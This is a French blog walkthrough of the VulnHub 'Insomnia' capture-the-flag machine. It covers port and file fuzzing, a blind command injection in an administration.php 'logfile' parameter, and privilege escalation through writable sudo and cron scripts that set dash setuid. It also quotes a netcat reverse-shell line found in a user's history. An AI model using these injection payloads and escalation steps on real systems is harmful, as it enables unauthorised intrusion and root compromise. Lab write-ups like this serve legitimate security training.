Accueil Solution du CTF Insomnia de VulnHub
Post
Annuler

Solution du CTF Insomnia de VulnHub

J’ai eu quelques difficultés sur ce CTF Insomnia créé par alienum. La morale est de faire attention aux moindres détails que les outils nous remontent faute de rater des éléments importants.

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -sCV -T5 192.168.56.72
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-05 21:40 CET
Nmap scan report for 192.168.56.72
Host is up (0.00032s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    PHP cli server 5.5 or later (PHP 7.3.19-1)
|_http-title: Chat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:4A:84:93 (Oracle VirtualBox virtual NIC)

On a donc une appli ce chat sur le serveur web. Cette ci demande un nom d’utilisateur puis on peut ensuite poster des messages. On peut voir nos messages mais il n’y a aucune forme d’interraction avec d’autres entités même fictives.

DIDNTREADLOL

Feroxbuster ne semblait rien trouver de particulier mais c’est parce que le serveur retourne la page d’index par défaut au lieu d’une erreur 404. Une option permet de filtrer sur les résultats comme le fait ffuf. Ici j’ai filtré sur le nombre de mots :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ feroxbuster -u http://192.168.56.72:8080/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt -n -W 216

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.72:8080/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💢  Word Count Filter     │ 216
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       16l      159w     1363c http://192.168.56.72:8080/style.css
200        1l        1w        0c http://192.168.56.72:8080/process.php
200        2l       12w        0c http://192.168.56.72:8080/administration.php
200     1055l     2563w    63486c http://192.168.56.72:8080/chat.txt
[####################] - 27s    37034/37034   0s      found:4       errors:0      
[####################] - 26s    37034/37034   1371/s  http://192.168.56.72:8080/

L’appli de chat fait usage de Javascript et de requêtes Ajax. J’ai lancé Wapiti en mode MITM et branché mon navigateur dessus afin qu’il puisse capturer les requêtes HTTP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ wapiti -u http://192.168.56.72:8080/ --mitm-port 8080 -v2 --flush-session -m ""
ujson module not found, using json

 ██╗    ██╗ █████╗ ██████╗ ██╗████████╗██╗██████╗
 ██║    ██║██╔══██╗██╔══██╗██║╚══██╔══╝██║╚════██╗
 ██║ █╗ ██║███████║██████╔╝██║   ██║   ██║ █████╔╝
 ██║███╗██║██╔══██║██╔═══╝ ██║   ██║   ██║ ╚═══██╗
 ╚███╔███╔╝██║  ██║██║     ██║   ██║   ██║██████╔╝
  ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝     ╚═╝   ╚═╝   ╚═╝╚═════╝  
Wapiti 3.1.4 (wapiti-scanner.github.io)
Launching MitmProxy on port 8080. Configure your browser to use it, press ctrl+c when you are done.
[+] GET http://192.168.56.72:8080/ (0)
[+] GET http://192.168.56.72:8080/style.css (0)
[+] POST http://192.168.56.72:8080/process.php (0)
        data: function=getState
[+] POST http://192.168.56.72:8080/process.php (0)
        data: function=update&state=1029
[+] POST http://192.168.56.72:8080/process.php (0)
        data: function=send&message=hello%20world%0A&nickname=zozo
[+] POST http://192.168.56.72:8080/process.php (0)
        data: function=update&state=1030

En regardant le fichier JS importé dans le code HTML on voit qu’il est mention d’un paramètre file non exploité par le site :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var instanse = false;
var state;
var mes;
var file;

function Chat () {
    this.update = updateChat;
    this.send = sendChat;
	this.getState = getStateOfChat;
}

function getStateOfChat(){
	if(!instanse){
		 instanse = true;
		 $.ajax({
			   type: "POST",
			   url: "process.php",
			   data: {  
			   			'function': 'getState',
						'file': file
						},
			   dataType: "json",
			
			   success: function(data){
				   state = data.state;
				   instanse = false;
			   },
			});
	}	 
}

function updateChat(){
	 if(!instanse){
		 instanse = true;
	     $.ajax({
			   type: "POST",
			   url: "process.php",
			   data: {  
			   			'function': 'update',
						'state': state,
						'file': file
						},
			   dataType: "json",
			   success: function(data){
				   if(data.text){
						for (var i = 0; i < data.text.length; i++) {
                            $('#chat-area').append($("<p>"+ data.text[i] +"</p>"));
                        }								  
				   }
				   document.getElementById('chat-area').scrollTop = document.getElementById('chat-area').scrollHeight;
				   instanse = false;
				   state = data.state;
			   },
			});
	 }
	 else {
		 setTimeout(updateChat, 1500);
	 }
}

function sendChat(message, nickname)
{       
    updateChat();
     $.ajax({
		   type: "POST",
		   url: "process.php",
		   data: {  
		   			'function': 'send',
					'message': message,
					'nickname': nickname,
					'file': file
				 },
		   dataType: "json",
		   success: function(data){
			   updateChat();
		   },
		});
}

Mais après plusieurs heures à espérer obtenir un directory-traversal ou un write-what-where j’ai laissé tomber.

La page administration.php semble attendre quelque chose :

1
You are not allowed to view : <br>Your activity has been logged

J’ai donc brute-forcé un nom de paramètre possible. Ma wordlist habituelle des paramètres les plus fréquents n’ayant rien trouvé je me suis tourné vers la liste de mots raft :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u "http://192.168.56.72:8080/administration.php?FUZZ=/etc/passwd" -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -fs 65 -t 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.72:8080/administration.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 65
________________________________________________

logfile                 [Status: 200, Size: 76, Words: 12, Lines: 3]
:: Progress: [119601/119601] :: Job [1/1] :: 379 req/sec :: Duration: [0:05:44] :: Errors: 0 ::

Tenter ensuite de brute-forcer la valeur de ce paramètre logfile n’a mené nul part en revanche Wapiti a remarqué une temporisation sur un payload particulier d’exécution de code.

Il y a un bug ici car une erreur réseau a été remontée mais pas la vulnérabilité. Une erreur que je corrigerais prochainement.

1
2
[¨] GET http://192.168.56.72:8080/administration.php?logfile=a%60sleep%2060%60 (0)
1 requests were skipped due to network issues

La vulnérabilité est avérée mais ne se fait qu’en aveugle. C’est toutefois suffisant pour rappatrier un outil et obtenir un reverse-shell avancé.

Voici à titre d’information le code du script process.php qui correspondait à l’API du chat :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

$function = $_POST["function"];
$log = [];

switch ($function) {
    case "getState":
        if (file_exists("chat.txt")) {
            $lines = file("chat.txt");
        }
        $log["state"] = count($lines);
        break;

    case "update":
        $state = $_POST["state"];
        if (file_exists("chat.txt")) {
            $lines = file("chat.txt");
        }
        $count = count($lines);
        if ($state == $count) {
            $log["state"] = $state;
            $log["text"] = false;
        } else {
            $text = [];
            $log["state"] = $state + count($lines) - $state;
            foreach ($lines as $line_num => $line) {
                if ($line_num >= $state) {
                    $text[] = $line = str_replace("\n", "", $line);
                }
            }
            $log["text"] = $text;
        }

        break;

    case "send":
        $nickname = htmlentities(strip_tags($_POST["nickname"]));
        $reg_exUrl =
            "/(http|https|ftp|ftps)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,3}(\/\S*)?/";
        $message = htmlentities(strip_tags($_POST["message"]));
        if ($message != "\n") {
            if (preg_match($reg_exUrl, $message, $url)) {
                $message = preg_replace(
                    $reg_exUrl,
                    '<a href="' .
                        $url[0] .
                        '" target="_blank">' .
                        $url[0] .
                        "</a>",
                    $message
                );
            }

            fwrite(
                fopen("chat.txt", "a"),
                "<span>" .
                    $nickname .
                    "</span>" .
                    ($message = str_replace("\n", " ", $message) . "\n")
            );
        }
        break;
}

echo json_encode($log);

?>

Effectivement on ne pouvait en aucun cas jouer sur le nom du fichier.

On peut aller lire le flag de l’utilisatrice julia :

1
2
3
4
5
6
www-data@insomnia:/home$ cat julia/user.txt 

~~~~~~~~~~~~~\
USER INSOMNIA
~~~~~~~~~~~~~
Flag : [c2e285cb33cecdbeb83d2189e983a8c0]

Et on peut exécuter une commande avec ses droits :

1
2
3
4
5
6
7
8
www-data@insomnia:/home/julia$ sudo -l
Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NOPASSWD: /bin/bash /var/www/html/start.sh
www-data@insomnia:/home/julia$ cat /var/www/html/start.sh
php -S 0.0.0.0:8080

Il y a déjà un process en écoute sur ce port. Ce qui nous intéresse ce sont surtout les droits sur le script start.sh :

-rwxrwxrwx 1 root root 20 Dec 21  2020 /var/www/html/start.sh

Entracte indésirable

A ce stade je voulais vien sûr modifier le script bash mais le manque d’espace sur la VM bloquait l’édition. Ce sont des choses qui arrivent quand on bourrine un service qui génère plein de lignes de logs.

Pour régler j’ai du monter le fichier VDI de la VM. Je me suis basé sur l’article suivant :

[How to Mount VirtualBox Disk Image (VDI) to Access VM File-System in UbuntuUbuntuHandbook](https://ubuntuhandbook.org/index.php/2021/05/mount-virtualbox-vdi-ubuntu/)

D’abord je liste la liste des images virtuelles :

1
vboximg-mount --list --verbose

Je retrouve le CTF dans ma liste :

1
2
3
4
5
6
7
8
9
10
11
VM Name:   "Insomnia"
UUID:      656e32f2-c37d-4452-966d-1bf91c54ebfc
Path:      /home/devloop/VirtualBox VMs/Insomnia/Insomnia.vbox

    Image:   Insomnia-disk001.vdi
    UUID:    1553b8dd-b05d-4105-b527-eb0f58a0a8d8
    Path:    /home/devloop/VirtualBox VMs/Insomnia/Insomnia-disk001.vdi
    Format:  vdi
    Size:    1.7G
    State:   created
    Type:    normal

Avec ces infos je peux d’abord monter le VDI puis monter l’un des volumes présent à l’intérieur (ici vol0 correspond à la partition racine) :

1
2
3
4
5
6
mkdir disks
sudo vboximg-mount --vm Insomnia -i "/home/devloop/VirtualBox VMs/Insomnia/Insomnia-disk001.vdi" --rw --root disks/
sudo mount disks/vol0 /mnt/
# faire le ménage ici
sudo umount /mnt
sudo umount disks

L’opération a consisté à supprimer une partie des fichiers de logs.

Pas le temps pour les flashbacks

On reprend le fil de notre exploitation :

1
2
3
4
5
www-data@insomnia:/var/www/html$ cp start.sh start_backup.start
www-data@insomnia:/var/www/html$ echo bash > start.sh 
www-data@insomnia:/var/www/html$ sudo -u julia /bin/bash /var/www/html/start.sh
julia@insomnia:/var/www/html$ id
uid=1000(julia) gid=1000(julia) groups=1000(julia),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

L’utilisatrice a quelques commandes dans son historique bash. Malheureusement il s’agit plus d’un oubli de l’auteur du CTF q’un indice volontaire :

1
2
3
4
5
6
7
cd /var/cron
ls
nano chech.sh
export TERM=xterm
nano check.sh
echo "nc -e /bin/bash 10.0.2.13 4444" >> check.sh
exit

Ce fichier check.sh nous est accessible (et modifiable) mais comment est-il lancé ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
julia@insomnia:/var/cron$ ls -al check.sh 
-rwxrwxrwx 1 root root 153 Dec 21  2020 check.sh
julia@insomnia:/var/cron$ cat check.sh 
#!/bin/bash
status=$(systemctl is-active insomnia.service)
if [ "$status" == "active"  ]; then
   echo "OK"
else
   systemctl start  insomnia.service
fi
julia@insomnia:/var/cron$ cat /etc/systemd/system/insomnia.service 
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/html
ExecStart=/bin/bash /var/www/html/start.sh

[Install]
WantedBy=multi-user.target
julia@insomnia:/var/cron$ tail -2  /etc/crontab 
*  *    * * *   root    /bin/bash /var/cron/check.sh
#

Il est donc exécuté toutes les minutes. On va faire en sorte qu’il mette le droit setuid sur /usr/bin/dash :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
julia@insomnia:/var/cron$ ls -al /usr/bin/dash
-rwxr-xr-x 1 root root 121464 Jan 17  2019 /usr/bin/dash
julia@insomnia:/var/cron$ echo "chmod 4755 /usr/bin/dash" >> /var/cron/check.sh
julia@insomnia:/var/cron$ ls -al /usr/bin/dash
-rwsr-xr-x 1 root root 121464 Jan 17  2019 /usr/bin/dash
julia@insomnia:/var/cron$ /usr/bin/dash -p
# cd /root
# ls
root.txt
# cat root.txt

~~~~~~~~~~~~~~~\
ROOTED INSOMNIA
~~~~~~~~~~~~~~~
Flag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc]

by Alienum with <3

Publié le 6 décembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.